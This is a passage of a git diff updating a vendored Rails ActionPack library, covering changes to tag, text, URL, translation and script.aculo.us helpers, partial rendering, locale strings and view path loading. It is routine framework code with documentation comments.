       # Sanitizes a block of CSS code. Used by +sanitize+ when it comes across a style attribute.
@@ -82,7 +76,11 @@ module ActionView
       #   strip_tags("<div id='top-bar'>Welcome to my website!</div>")
       #   # => Welcome to my website!
       def strip_tags(html)
-        self.class.full_sanitizer.sanitize(html)
+        returning self.class.full_sanitizer.sanitize(html) do |sanitized|
+          if sanitized
+            sanitized.html_safe!
+          end
+        end
       end
 
       # Strips all link tags from +text+ leaving just the link text.
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/scriptaculous_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/scriptaculous_helper.rb
index 1d01dafd..04af2781 100644
--- a/vendor/rails/actionpack/lib/action_view/helpers/scriptaculous_helper.rb
+++ b/vendor/rails/actionpack/lib/action_view/helpers/scriptaculous_helper.rb
@@ -1,4 +1,5 @@
 require 'action_view/helpers/javascript_helper'
+require 'active_support/json'
 
 module ActionView
   module Helpers
@@ -42,7 +43,7 @@ module ActionView
       # You can change the behaviour with various options, see
       # http://script.aculo.us for more documentation.
       def visual_effect(name, element_id = false, js_options = {})
-        element = element_id ? element_id.to_json : "element"
+        element = element_id ? ActiveSupport::JSON.encode(element_id) : "element"
         
         js_options[:queue] = if js_options[:queue].is_a?(Hash)
           '{' + js_options[:queue].map {|k, v| k == :limit ? "#{k}:#{v}" : "#{k}:'#{v}'" }.join(',') + '}'
@@ -137,7 +138,7 @@ module ActionView
       end
       
       def sortable_element_js(element_id, options = {}) #:nodoc:
-        options[:with]     ||= "Sortable.serialize(#{element_id.to_json})"
+        options[:with]     ||= "Sortable.serialize(#{ActiveSupport::JSON.encode(element_id)})"
         options[:onUpdate] ||= "function(){" + remote_function(options) + "}"
         options.delete_if { |key, value| PrototypeHelper::AJAX_OPTIONS.include?(key) }
   
@@ -148,7 +149,7 @@ module ActionView
         options[:containment] = array_or_string_for_javascript(options[:containment]) if options[:containment]
         options[:only] = array_or_string_for_javascript(options[:only]) if options[:only]
   
-        %(Sortable.create(#{element_id.to_json}, #{options_for_javascript(options)});)
+        %(Sortable.create(#{ActiveSupport::JSON.encode(element_id)}, #{options_for_javascript(options)});)
       end
 
       # Makes the element with the DOM ID specified by +element_id+ draggable.
@@ -163,7 +164,7 @@ module ActionView
       end
       
       def draggable_element_js(element_id, options = {}) #:nodoc:
-        %(new Draggable(#{element_id.to_json}, #{options_for_javascript(options)});)
+        %(new Draggable(#{ActiveSupport::JSON.encode(element_id)}, #{options_for_javascript(options)});)
       end
 
       # Makes the element with the DOM ID specified by +element_id+ receive
@@ -218,7 +219,7 @@ module ActionView
         # Confirmation happens during the onDrop callback, so it can be removed from the options
         options.delete(:confirm) if options[:confirm]
 
-        %(Droppables.add(#{element_id.to_json}, #{options_for_javascript(options)});)
+        %(Droppables.add(#{ActiveSupport::JSON.encode(element_id)}, #{options_for_javascript(options)});)
       end
     end
   end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/tag_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/tag_helper.rb
index 1c8d2db1..c47e74b6 100644
--- a/vendor/rails/actionpack/lib/action_view/helpers/tag_helper.rb
+++ b/vendor/rails/actionpack/lib/action_view/helpers/tag_helper.rb
@@ -1,5 +1,4 @@
-require 'cgi'
-require 'erb'
+require 'action_view/erb/util'
 require 'set'
 
 module ActionView
@@ -39,7 +38,7 @@ module ActionView
       #   tag("img", { :src => "open &amp; shut.png" }, false, false)
       #   # => <img src="open &amp; shut.png" />
       def tag(name, options = nil, open = false, escape = true)
-        "<#{name}#{tag_options(options, escape) if options}#{open ? ">" : " />"}"
+        "<#{name}#{tag_options(options, escape) if options}#{open ? ">" : " />"}".html_safe!
       end
 
       # Returns an HTML block tag of type +name+ surrounding the +content+. Add
@@ -92,19 +91,19 @@ module ActionView
       #   cdata_section(File.read("hello_world.txt"))
       #   # => <![CDATA[<hello from a text file]]>
       def cdata_section(content)
-        "<![CDATA[#{content}]]>"
+        "<![CDATA[#{content}]]>".html_safe!
       end
 
       # Returns an escaped version of +html+ without affecting existing escaped entities.
       #
       # ==== Examples
-      #   escape_once("1 > 2 &amp; 3")
+      #   escape_once("1 < 2 &amp; 3")
       #   # => "1 &lt; 2 &amp; 3"
       #
       #   escape_once("&lt;&lt; Accept & Checkout")
       #   # => "&lt;&lt; Accept &amp; Checkout"
       def escape_once(html)
-        html.to_s.gsub(/[\"><]|&(?!([a-zA-Z]+|(#\d+));)/) { |special| ERB::Util::HTML_ESCAPE[special] }
+        ActiveSupport::Multibyte.clean(html.to_s).gsub(/[\"><]|&(?!([a-zA-Z]+|(#\d+));)/) { |special| ERB::Util::HTML_ESCAPE[special] }
       end
 
       private
@@ -126,7 +125,7 @@ module ActionView
 
         def content_tag_string(name, content, options, escape = true)
           tag_options = tag_options(options, escape) if options
-          "<#{name}#{tag_options}>#{content}</#{name}>"
+          "<#{name}#{tag_options}>#{content}</#{name}>".html_safe!
         end
 
         def tag_options(options, escape = true)
@@ -143,7 +142,7 @@ module ActionView
             else
               attrs = options.map { |key, value| %(#{key}="#{value}") }
             end
-            " #{attrs.sort * ' '}" unless attrs.empty?
+            " #{attrs.sort * ' '}".html_safe! unless attrs.empty?
           end
         end
     end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/text_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/text_helper.rb
index 36f75756..de6a2dd7 100644
--- a/vendor/rails/actionpack/lib/action_view/helpers/text_helper.rb
+++ b/vendor/rails/actionpack/lib/action_view/helpers/text_helper.rb
@@ -1,15 +1,5 @@
 require 'action_view/helpers/tag_helper'
 
-begin
-  require 'html/document'
-rescue LoadError
-  html_scanner_path = "#{File.dirname(__FILE__)}/../../action_controller/vendor/html-scanner"
-  if File.directory?(html_scanner_path)
-    $:.unshift html_scanner_path
-    require 'html/document'
-  end
-end
-
 module ActionView
   module Helpers #:nodoc:
     # The TextHelper module provides a set of methods for filtering, formatting
@@ -43,30 +33,31 @@ module ActionView
       end
 
       # Truncates a given +text+ after a given <tt>:length</tt> if +text+ is longer than <tt>:length</tt>
-      # (defaults to 30). The last characters will be replaced with the <tt>:omission</tt> (defaults to "...").
+      # (defaults to 30). The last characters will be replaced with the <tt>:omission</tt> (defaults to "...")
+      # for a total length not exceeding <tt>:length</tt>.
       #
       # ==== Examples
       #
       #   truncate("Once upon a time in a world far far away")
-      #   # => Once upon a time in a world f...
+      #   # => Once upon a time in a world...
       #
       #   truncate("Once upon a time in a world far far away", :length => 14)
       #   # => Once upon a...
       #
       #   truncate("And they found that many people were sleeping better.", :length => 25, "(clipped)")
-      #   # => And they found that many (clipped)
+      #   # => And they found t(clipped)
       #
-      #   truncate("And they found that many people were sleeping better.", :omission => "... (continued)", :length => 15)
-      #   # => And they found... (continued)
+      #   truncate("And they found that many people were sleeping better.", :omission => "... (continued)", :length => 25)
+      #   # => And they f... (continued)
       #
       # You can still use <tt>truncate</tt> with the old API that accepts the
       # +length+ as its optional second and the +ellipsis+ as its
       # optional third parameter:
       #   truncate("Once upon a time in a world far far away", 14)
-      #   # => Once upon a time in a world f...
+      #   # => Once upon a...
       #
-      #   truncate("And they found that many people were sleeping better.", 15, "... (continued)")
-      #   # => And they found... (continued)
+      #   truncate("And they found that many people were sleeping better.", 25, "... (continued)")
+      #   # => And they f... (continued)
       def truncate(text, *args)
         options = args.extract_options!
         unless args.empty?
@@ -117,7 +108,7 @@ module ActionView
           text
         else
           match = Array(phrases).map { |p| Regexp.escape(p) }.join('|')
-          text.gsub(/(#{match})/i, options[:highlighter])
+          text.gsub(/(#{match})(?!(?:[^<]*?)(?:["'])[^<>]*>)/i, options[:highlighter])
         end
       end
 
@@ -226,91 +217,87 @@ module ActionView
         end * "\n"
       end
 
-      begin
-        require_library_or_gem "redcloth" unless Object.const_defined?(:RedCloth)
+      # Returns the text with all the Textile[http://www.textism.com/tools/textile] codes turned into HTML tags.
+      #
+      # You can learn more about Textile's syntax at its website[http://www.textism.com/tools/textile].
+      # <i>This method is only available if RedCloth[http://whytheluckystiff.net/ruby/redcloth/]
+      # is available</i>.
+      #
+      # ==== Examples
+      #   textilize("*This is Textile!*  Rejoice!")
+      #   # => "<p><strong>This is Textile!</strong>  Rejoice!</p>"
+      #
+      #   textilize("I _love_ ROR(Ruby on Rails)!")
+      #   # => "<p>I <em>love</em> <acronym title="Ruby on Rails">ROR</acronym>!</p>"
+      #
+      #   textilize("h2. Textile makes markup -easy- simple!")
+      #   # => "<h2>Textile makes markup <del>easy</del> simple!</h2>"
+      #
+      #   textilize("Visit the Rails website "here":http://www.rubyonrails.org/.)
+      #   # => "<p>Visit the Rails website <a href="http://www.rubyonrails.org/">here</a>.</p>"
+      #
+      #   textilize("This is worded <strong>strongly</strong>")
+      #   # => "<p>This is worded <strong>strongly</strong></p>"
+      #
+      #   textilize("This is worded <strong>strongly</strong>", :filter_html)
+      #   # => "<p>This is worded &lt;strong&gt;strongly&lt;/strong&gt;</p>"
+      #
+      def textilize(text, *options)
+        options ||= [:hard_breaks]
 
-        # Returns the text with all the Textile[http://www.textism.com/tools/textile] codes turned into HTML tags.
-        #
-        # You can learn more about Textile's syntax at its website[http://www.textism.com/tools/textile].
-        # <i>This method is only available if RedCloth[http://whytheluckystiff.net/ruby/redcloth/]
-        # is available</i>.
-        #
-        # ==== Examples
-        #   textilize("*This is Textile!*  Rejoice!")
-        #   # => "<p><strong>This is Textile!</strong>  Rejoice!</p>"
-        #
-        #   textilize("I _love_ ROR(Ruby on Rails)!")
-        #   # => "<p>I <em>love</em> <acronym title="Ruby on Rails">ROR</acronym>!</p>"
-        #
-        #   textilize("h2. Textile makes markup -easy- simple!")
-        #   # => "<h2>Textile makes markup <del>easy</del> simple!</h2>"
-        #
-        #   textilize("Visit the Rails website "here":http://www.rubyonrails.org/.)
-        #   # => "<p>Visit the Rails website <a href="http://www.rubyonrails.org/">here</a>.</p>"
-        def textilize(text)
-          if text.blank?
-            ""
-          else
-            textilized = RedCloth.new(text, [ :hard_breaks ])
-            textilized.hard_breaks = true if textilized.respond_to?(:hard_breaks=)
-            textilized.to_html
-          end
+        if text.blank?
+          ""
+        else
+          textilized = RedCloth.new(text, options)
+          textilized.to_html
         end
-
-        # Returns the text with all the Textile codes turned into HTML tags,
-        # but without the bounding <p> tag that RedCloth adds.
-        #
-        # You can learn more about Textile's syntax at its website[http://www.textism.com/tools/textile].
-        # <i>This method is only available if RedCloth[http://whytheluckystiff.net/ruby/redcloth/]
-        # is available</i>.
-        #
-        # ==== Examples
-        #   textilize_without_paragraph("*This is Textile!*  Rejoice!")
-        #   # => "<strong>This is Textile!</strong>  Rejoice!"
-        #
-        #   textilize_without_paragraph("I _love_ ROR(Ruby on Rails)!")
-        #   # => "I <em>love</em> <acronym title="Ruby on Rails">ROR</acronym>!"
-        #
-        #   textilize_without_paragraph("h2. Textile makes markup -easy- simple!")
-        #   # => "<h2>Textile makes markup <del>easy</del> simple!</h2>"
-        #
-        #   textilize_without_paragraph("Visit the Rails website "here":http://www.rubyonrails.org/.)
-        #   # => "Visit the Rails website <a href="http://www.rubyonrails.org/">here</a>."
-        def textilize_without_paragraph(text)
-          textiled = textilize(text)
-          if textiled[0..2] == "<p>" then textiled = textiled[3..-1] end
-          if textiled[-4..-1] == "</p>" then textiled = textiled[0..-5] end
-          return textiled
-        end
-      rescue LoadError
-        # We can't really help what's not there
       end
 
-      begin
-        require_library_or_gem "bluecloth" unless Object.const_defined?(:BlueCloth)
+      # Returns the text with all the Textile codes turned into HTML tags,
+      # but without the bounding <p> tag that RedCloth adds.
+      #
+      # You can learn more about Textile's syntax at its website[http://www.textism.com/tools/textile].
+      # <i>This method is requires RedCloth[http://whytheluckystiff.net/ruby/redcloth/]
+      # to be available</i>.
+      #
+      # ==== Examples
+      #   textilize_without_paragraph("*This is Textile!*  Rejoice!")
+      #   # => "<strong>This is Textile!</strong>  Rejoice!"
+      #
+      #   textilize_without_paragraph("I _love_ ROR(Ruby on Rails)!")
+      #   # => "I <em>love</em> <acronym title="Ruby on Rails">ROR</acronym>!"
+      #
+      #   textilize_without_paragraph("h2. Textile makes markup -easy- simple!")
+      #   # => "<h2>Textile makes markup <del>easy</del> simple!</h2>"
+      #
+      #   textilize_without_paragraph("Visit the Rails website "here":http://www.rubyonrails.org/.)
+      #   # => "Visit the Rails website <a href="http://www.rubyonrails.org/">here</a>."
+      def textilize_without_paragraph(text)
+        textiled = textilize(text)
+        if textiled[0..2] == "<p>" then textiled = textiled[3..-1] end
+        if textiled[-4..-1] == "</p>" then textiled = textiled[0..-5] end
+        return textiled
+      end
 
-        # Returns the text with all the Markdown codes turned into HTML tags.
-        # <i>This method is only available if BlueCloth[http://www.deveiate.org/projects/BlueCloth]
-        # is available</i>.
-        #
-        # ==== Examples
-        #   markdown("We are using __Markdown__ now!")
-        #   # => "<p>We are using <strong>Markdown</strong> now!</p>"
-        #
-        #   markdown("We like to _write_ `code`, not just _read_ it!")
-        #   # => "<p>We like to <em>write</em> <code>code</code>, not just <em>read</em> it!</p>"
-        #
-        #   markdown("The [Markdown website](http://daringfireball.net/projects/markdown/) has more information.")
-        #   # => "<p>The <a href="http://daringfireball.net/projects/markdown/">Markdown website</a>
-        #   #     has more information.</p>"
-        #
-        #   markdown('![The ROR logo](http://rubyonrails.com/images/rails.png "Ruby on Rails")')
-        #   # => '<p><img src="http://rubyonrails.com/images/rails.png" alt="The ROR logo" title="Ruby on Rails" /></p>'
-        def markdown(text)
-          text.blank? ? "" : BlueCloth.new(text).to_html
-        end
-      rescue LoadError
-        # We can't really help what's not there
+      # Returns the text with all the Markdown codes turned into HTML tags.
+      # <i>This method requires BlueCloth[http://www.deveiate.org/projects/BlueCloth] or another
+      # Markdown library to be installed.</i>.
+      #
+      # ==== Examples
+      #   markdown("We are using __Markdown__ now!")
+      #   # => "<p>We are using <strong>Markdown</strong> now!</p>"
+      #
+      #   markdown("We like to _write_ `code`, not just _read_ it!")
+      #   # => "<p>We like to <em>write</em> <code>code</code>, not just <em>read</em> it!</p>"
+      #
+      #   markdown("The [Markdown website](http://daringfireball.net/projects/markdown/) has more information.")
+      #   # => "<p>The <a href="http://daringfireball.net/projects/markdown/">Markdown website</a>
+      #   #     has more information.</p>"
+      #
+      #   markdown('![The ROR logo](http://rubyonrails.com/images/rails.png "Ruby on Rails")')
+      #   # => '<p><img src="http://rubyonrails.com/images/rails.png" alt="The ROR logo" title="Ruby on Rails" /></p>'
+      def markdown(text)
+        text.blank? ? "" : Markdown.new(text).to_html
       end
 
       # Returns +text+ transformed into HTML using simple formatting rules.
@@ -392,8 +379,8 @@ module ActionView
         options.reverse_merge!(:link => :all, :html => {})
 
         case options[:link].to_sym
-          when :all                         then auto_link_email_addresses(auto_link_urls(text, options[:html], &block), &block)
-          when :email_addresses             then auto_link_email_addresses(text, &block)
+          when :all                         then auto_link_email_addresses(auto_link_urls(text, options[:html], &block), options[:html], &block)
+          when :email_addresses             then auto_link_email_addresses(text, options[:html], &block)
           when :urls                        then auto_link_urls(text, options[:html], &block)
         end
       end
@@ -545,45 +532,44 @@ module ActionView
         end
 
         AUTO_LINK_RE = %r{
-                        (                          # leading text
-                          <\w+.*?>|                # leading HTML tag, or
-                          [^=!:'"/]|               # leading punctuation, or
-                          ^                        # beginning of line
-                        )
-                        (
-                          (?:https?://)|           # protocol spec, or
-                          (?:www\.)                # www.*
-                        )
-                        (
-                          [-\w]+                   # subdomain or domain
-                          (?:\.[-\w]+)*            # remaining subdomains or domain
-                          (?::\d+)?                # port
-                          (?:/(?:[~\w\+@%=\(\)-]|(?:[,.;:'][^\s$]))*)* # path
-                          (?:\?[\w\+@%&=.;:-]+)?     # query string
-                          (?:\#[\w\-]*)?           # trailing anchor
-                        )
-                        ([[:punct:]]|<|$|)       # trailing text
-                       }x unless const_defined?(:AUTO_LINK_RE)
+            ( https?:// | www\. )
+            [^\s<]+
+          }x unless const_defined?(:AUTO_LINK_RE)
+
+        BRACKETS = { ']' => '[', ')' => '(', '}' => '{' }
 
         # Turns all urls into clickable links.  If a block is given, each url
         # is yielded and the result is used as the link text.
         def auto_link_urls(text, html_options = {})
-          extra_options = tag_options(html_options.stringify_keys) || ""
+          link_attributes = html_options.stringify_keys
           text.gsub(AUTO_LINK_RE) do
-            all, a, b, c, d = $&, $1, $2, $3, $4
-            if a =~ /<a\s/i # don't replace URL's that are already linked
-              all
+            href = $&
+            punctuation = ''
+            left, right = $`, $'
+            # detect already linked URLs and URLs in the middle of a tag
+            if left =~ /<[^>]+$/ && right =~ /^[^>]*>/
+              # do not change string; URL is alreay linked
+              href
             else
-              text = b + c
-              text = yield(text) if block_given?
-              %(#{a}<a href="#{b=="www."?"http://www.":b}#{c}"#{extra_options}>#{text}</a>#{d})
+              # don't include trailing punctuation character as part of the URL
+              if href.sub!(/[^\w\/-]$/, '') and punctuation = $& and opening = BRACKETS[punctuation]
+                if href.scan(opening).size > href.scan(punctuation).size
+                  href << punctuation
+                  punctuation = ''
+                end
+              end
+
+              link_text = block_given?? yield(href) : href
+              href = 'http://' + href unless href.index('http') == 0
+
+              content_tag(:a, h(link_text), link_attributes.merge('href' => href)) + punctuation
             end
           end
         end
 
         # Turns all email addresses into clickable links.  If a block is given,
         # each email is yielded and the result is used as the link text.
-        def auto_link_email_addresses(text)
+        def auto_link_email_addresses(text, html_options = {})
           body = text.dup
           text.gsub(/([\w\.!#\$%\-+.]+@[A-Za-z0-9\-]+(\.[A-Za-z0-9\-]+)+)/) do
             text = $1
@@ -592,7 +578,7 @@ module ActionView
               text
             else
               display_text = (block_given?) ? yield(text) : text
-              %{<a href="mailto:#{text}">#{display_text}</a>}
+              mail_to text, display_text, html_options
             end
           end
         end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/translation_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/translation_helper.rb
index dc41ef53..564f12c9 100644
--- a/vendor/rails/actionpack/lib/action_view/helpers/translation_helper.rb
+++ b/vendor/rails/actionpack/lib/action_view/helpers/translation_helper.rb
@@ -3,19 +3,37 @@ require 'action_view/helpers/tag_helper'
 module ActionView
   module Helpers
     module TranslationHelper
+      # Delegates to I18n#translate but also performs two additional functions. First, it'll catch MissingTranslationData exceptions 
+      # and turn them into inline spans that contains the missing key, such that you can see in a view what is missing where.
+      #
+      # Second, it'll scope the key by the current partial if the key starts with a period. So if you call translate(".foo") from the
+      # people/index.html.erb template, you'll actually be calling I18n.translate("people.index.foo"). This makes it less repetitive
+      # to translate many keys within the same partials and gives you a simple framework for scoping them consistently. If you don't
+      # prepend the key with a period, nothing is converted.
       def translate(key, options = {})
         options[:raise] = true
-        I18n.translate(key, options)
+        I18n.translate(scope_key_by_partial(key), options)
       rescue I18n::MissingTranslationData => e
         keys = I18n.send(:normalize_translation_keys, e.locale, e.key, e.options[:scope])
         content_tag('span', keys.join(', '), :class => 'translation_missing')
       end
       alias :t :translate
 
+      # Delegates to I18n.localize with no additional functionality.
       def localize(*args)
-        I18n.localize *args
+        I18n.localize(*args)
       end
       alias :l :localize
+
+
+      private
+        def scope_key_by_partial(key)
+          if key.to_s.first == "."
+            template.path_without_format_and_extension.gsub(%r{/_?}, ".") + key.to_s
+          else
+            key
+          end
+        end
     end
   end
 end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/url_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/url_helper.rb
index 2e0eb876..d106e687 100644
--- a/vendor/rails/actionpack/lib/action_view/helpers/url_helper.rb
+++ b/vendor/rails/actionpack/lib/action_view/helpers/url_helper.rb
@@ -1,4 +1,4 @@
-require 'action_view/helpers/javascript_helper'
+#require 'action_view/helpers/javascript_helper'
 
 module ActionView
   module Helpers #:nodoc:
@@ -219,7 +219,7 @@ module ActionView
         if block_given?
           options      = args.first || {}
           html_options = args.second
-          concat(link_to(capture(&block), options, html_options))
+          concat(link_to(capture(&block), options, html_options).html_safe!)
         else
           name         = args.first
           options      = args.second || {}
@@ -237,7 +237,7 @@ module ActionView
           end
 
           href_attr = "href=\"#{url}\"" unless href
-          "<a #{href_attr}#{tag_options}>#{name || url}</a>"
+          "<a #{href_attr}#{tag_options}>#{name || url}</a>".html_safe!
         end
       end
 
@@ -309,7 +309,7 @@ module ActionView
         html_options.merge!("type" => "submit", "value" => name)
 
         "<form method=\"#{form_method}\" action=\"#{escape_once url}\" class=\"button-to\"><div>" +
-          method_tag + tag("input", html_options) + request_token_tag + "</div></form>"
+          method_tag + tag("input", html_options) + request_token_tag + "</div></form>".html_safe!
       end
 
 
@@ -507,7 +507,30 @@ module ActionView
       #   current_page?(:controller => 'shop', :action => 'checkout')
       #   # => true
       #
-      #   current_page?(:controller => 'shop', :action => 'checkout', :order => 'asc)
+      #   current_page?(:controller => 'shop', :action => 'checkout', :order => 'asc')
+      #   # => false
+      #
+      #   current_page?(:action => 'checkout')
+      #   # => true
+      #
+      #   current_page?(:controller => 'library', :action => 'checkout')
+      #   # => false
+      #
+      # Let's say we're in the <tt>/shop/checkout?order=desc&page=1</tt> action.
+      #
+      #   current_page?(:action => 'process')
+      #   # => false
+      #
+      #   current_page?(:controller => 'shop', :action => 'checkout')
+      #   # => true
+      #
+      #   current_page?(:controller => 'shop', :action => 'checkout', :order => 'desc', :page=>'1')
+      #   # => true
+      #
+      #   current_page?(:controller => 'shop', :action => 'checkout', :order => 'desc', :page=>'2')
+      #   # => false
+      #
+      #   current_page?(:controller => 'shop', :action => 'checkout', :order => 'desc')
       #   # => false
       #
       #   current_page?(:action => 'checkout')
@@ -516,7 +539,7 @@ module ActionView
       #   current_page?(:controller => 'library', :action => 'checkout')
       #   # => false
       def current_page?(options)
-        url_string = CGI.escapeHTML(url_for(options))
+        url_string = CGI.unescapeHTML(url_for(options))
         request = @controller.request
         # We ignore any extra parameters in the request_uri if the 
         # submitted url doesn't have any either.  This lets the function
@@ -545,7 +568,7 @@ module ActionView
             when confirm && popup
               "if (#{confirm_javascript_function(confirm)}) { #{popup_javascript_function(popup)} };return false;"
             when confirm && method
-              "if (#{confirm_javascript_function(confirm)}) { #{method_javascript_function(method)} };return false;"
+              "if (#{confirm_javascript_function(confirm)}) { #{method_javascript_function(method, url, href)} };return false;"
             when confirm
               "return #{confirm_javascript_function(confirm)};"
             when method
diff --git a/vendor/rails/actionpack/lib/action_view/inline_template.rb b/vendor/rails/actionpack/lib/action_view/inline_template.rb
index 5e00cef1..54efa543 100644
--- a/vendor/rails/actionpack/lib/action_view/inline_template.rb
+++ b/vendor/rails/actionpack/lib/action_view/inline_template.rb
@@ -12,7 +12,7 @@ module ActionView #:nodoc:
 
     private
       # Always recompile inline templates
-      def recompile?(local_assigns)
+      def recompile?
         true
       end
   end
diff --git a/vendor/rails/actionpack/lib/action_view/locale/en.yml b/vendor/rails/actionpack/lib/action_view/locale/en.yml
index 002226fd..84d94fd7 100644
--- a/vendor/rails/actionpack/lib/action_view/locale/en.yml
+++ b/vendor/rails/actionpack/lib/action_view/locale/en.yml
@@ -44,6 +44,18 @@
         # separator: 
         delimiter: ""
         precision: 1
+      storage_units:
+        # Storage units output formatting.
+        # %u is the storage unit, %n is the number (default: 2 MB)
+        format: "%n %u"
+        units:
+          byte:
+            one:   "Byte"
+            other: "Bytes"
+          kb: "KB"
+          mb: "MB"
+          gb: "GB"
+          tb: "TB"
 
   # Used in distance_of_time_in_words(), distance_of_time_in_words_to_now(), time_ago_in_words()
   datetime:
@@ -79,6 +91,16 @@
       over_x_years:
         one:   "over 1 year"
         other: "over {{count}} years"
+      almost_x_years:
+        one:   "almost 1 year"
+        other: "almost {{count}} years"
+    prompts:
+      year:   "Year"
+      month:  "Month"
+      day:    "Day"
+      hour:   "Hour"
+      minute: "Minute"
+      second: "Seconds"
 
   activerecord:
     errors:
@@ -89,3 +111,7 @@
         # The variable :count is also available
         body: "There were problems with the following fields:"
 
+  support:
+    select:
+      # default value for :prompt => true in FormOptionsHelper
+      prompt: "Please select"
\ No newline at end of file
diff --git a/vendor/rails/actionpack/lib/action_view/partials.rb b/vendor/rails/actionpack/lib/action_view/partials.rb
index 88410999..5d75dbbc 100644
--- a/vendor/rails/actionpack/lib/action_view/partials.rb
+++ b/vendor/rails/actionpack/lib/action_view/partials.rb
@@ -46,6 +46,38 @@ module ActionView
   #
   # This will render the partial "advertisement/_ad.erb" regardless of which controller this is being called from.
   #
+  # == Rendering objects with the RecordIdentifier
+  #
+  # Instead of explicitly naming the location of a partial, you can also let the RecordIdentifier do the work if
+  # you're following its conventions for RecordIdentifier#partial_path. Examples:
+  #
+  #  # @account is an Account instance, so it uses the RecordIdentifier to replace
+  #  # <%= render :partial => "accounts/account", :locals => { :account => @buyer } %>
+  #  <%= render :partial => @account %>
+  #
+  #  # @posts is an array of Post instances, so it uses the RecordIdentifier to replace
+  #  # <%= render :partial => "posts/post", :collection => @posts %>
+  #  <%= render :partial => @posts %>
+  #
+  # == Rendering the default case
+  #
+  # If you're not going to be using any of the options like collections or layouts, you can also use the short-hand
+  # defaults of render to render partials. Examples:
+  #
+  #  # Instead of <%= render :partial => "account" %>
+  #  <%= render "account" %>
+  #
+  #  # Instead of <%= render :partial => "account", :locals => { :account => @buyer } %>
+  #  <%= render "account", :account => @buyer %>
+  #
+  #  # @account is an Account instance, so it uses the RecordIdentifier to replace
+  #  # <%= render :partial => "accounts/account", :locals => { :account => @account } %>
+  #  <%= render(@account) %>
+  #
+  #  # @posts is an array of Post instances, so it uses the RecordIdentifier to replace
+  #  # <%= render :partial => "posts/post", :collection => @posts %>
+  #  <%= render(@posts) %>
+  #
   # == Rendering partials with layouts
   #
   # Partials can have their own layouts applied to them. These layouts are different than the ones that are
@@ -155,15 +187,20 @@ module ActionView
           builder_partial_path = partial_path.class.to_s.demodulize.underscore.sub(/_builder$/, '')
           local_assigns.merge!(builder_partial_path.to_sym => partial_path)
           render_partial(:partial => builder_partial_path, :object => options[:object], :locals => local_assigns)
-        when Array, ActiveRecord::Associations::AssociationCollection, ActiveRecord::NamedScope::Scope
-          render_partial_collection(options.except(:partial).merge(:collection => partial_path))
         else
-          object = partial_path
-          render_partial(
-            :partial => ActionController::RecordIdentifier.partial_path(object, controller.class.controller_path),
-            :object => object,
-            :locals => local_assigns
-          )
+          if Array === partial_path ||
+            (defined?(ActiveRecord) &&
+             (ActiveRecord::Associations::AssociationCollection === partial_path ||
+              ActiveRecord::NamedScope::Scope === partial_path))
+            render_partial_collection(options.except(:partial).merge(:collection => partial_path))
+          else
+            object = partial_path
+            render_partial(
+              :partial => ActionController::RecordIdentifier.partial_path(object, controller.class.controller_path),
+              :object => object,
+              :locals => local_assigns
+            )
+          end
         end
       end
 
@@ -184,7 +221,7 @@ module ActionView
           result = template.render_partial(self, object, local_assigns.dup, as)
           index += 1
           result
-        end.join(spacer)
+        end.join(spacer).html_safe!
       end
 
       def _pick_partial_template(partial_path) #:nodoc:
@@ -196,7 +233,7 @@ module ActionView
           path = "_#{partial_path}"
         end
 
-        _pick_template(path)
+        self.view_paths.find_template(path, self.template_format)
       end
       memoize :_pick_partial_template
   end
diff --git a/vendor/rails/actionpack/lib/action_view/paths.rb b/vendor/rails/actionpack/lib/action_view/paths.rb
index d6bf2137..a0a2f968 100644
--- a/vendor/rails/actionpack/lib/action_view/paths.rb
+++ b/vendor/rails/actionpack/lib/action_view/paths.rb
@@ -2,19 +2,16 @@ module ActionView #:nodoc:
   class PathSet < Array #:nodoc:
     def self.type_cast(obj)
       if obj.is_a?(String)
-        if Base.warn_cache_misses && defined?(Rails) && Rails.initialized?
-          Base.logger.debug "[PERFORMANCE] Processing view path during a " +
-            "request. This an expense disk operation that should be done at " +
-            "boot. You can manually process this view path with " +
-            "ActionView::Base.process_view_paths(#{obj.inspect}) and set it " +
-            "as your view path"
+        if Base.cache_template_loading?
+          Template::EagerPath.new(obj.to_s)
+        else
+          ReloadableTemplate::ReloadablePath.new(obj.to_s)
         end
-        Path.new(obj)
       else
         obj
       end
     end
-
+    
     def initialize(*args)
       super(*args).map! { |obj| self.class.type_cast(obj) }
     end
@@ -38,88 +35,35 @@ module ActionView #:nodoc:
     def unshift(*objs)
       super(*objs.map { |obj| self.class.type_cast(obj) })
     end
-
-    class Path #:nodoc:
-      def self.eager_load_templates!
-        @eager_load_templates = true
-      end
-
-      def self.eager_load_templates?
-        @eager_load_templates || false
-      end
-
-      attr_reader :path, :paths
-      delegate :to_s, :to_str, :hash, :inspect, :to => :path
-
-      def initialize(path, load = true)
-        raise ArgumentError, "path already is a Path class" if path.is_a?(Path)
-        @path = path.freeze
-        reload! if load
-      end
-
-      def ==(path)
-        to_str == path.to_str
-      end
-
-      def eql?(path)
-        to_str == path.to_str
-      end
-
-      def [](path)
-        raise "Unloaded view path! #{@path}" unless @loaded
-        @paths[path]
-      end
-
-      def loaded?
-        @loaded ? true : false
-      end
-
-      def load
-        reload! unless loaded?
-        self
-      end
-
-      # Rebuild load path directory cache
-      def reload!
-        @paths = {}
-
-        templates_in_path do |template|
-          # Eager load memoized methods and freeze cached template
-          template.freeze if self.class.eager_load_templates?
-
-          @paths[template.path] = template
-          @paths[template.path_without_extension] ||= template
-        end
-
-        @paths.freeze
-        @loaded = true
-      end
-
-      private
-        def templates_in_path
-          (Dir.glob("#{@path}/**/*/**") | Dir.glob("#{@path}/**")).each do |file|
-            unless File.directory?(file)
-              yield Template.new(file.split("#{self}/").last, self)
-            end
-          end
-        end
+    
+    def load!
+      each(&:load!)
     end
 
-    def load
-      each { |path| path.load }
-    end
+    def find_template(original_template_path, format = nil, html_fallback = true)
+      return original_template_path if original_template_path.respond_to?(:render)
+      template_path = original_template_path.sub(/^\//, '')
 
-    def reload!
-      each { |path| path.reload! }
-    end
-
-    def [](template_path)
-      each do |path|
-        if template = path[template_path]
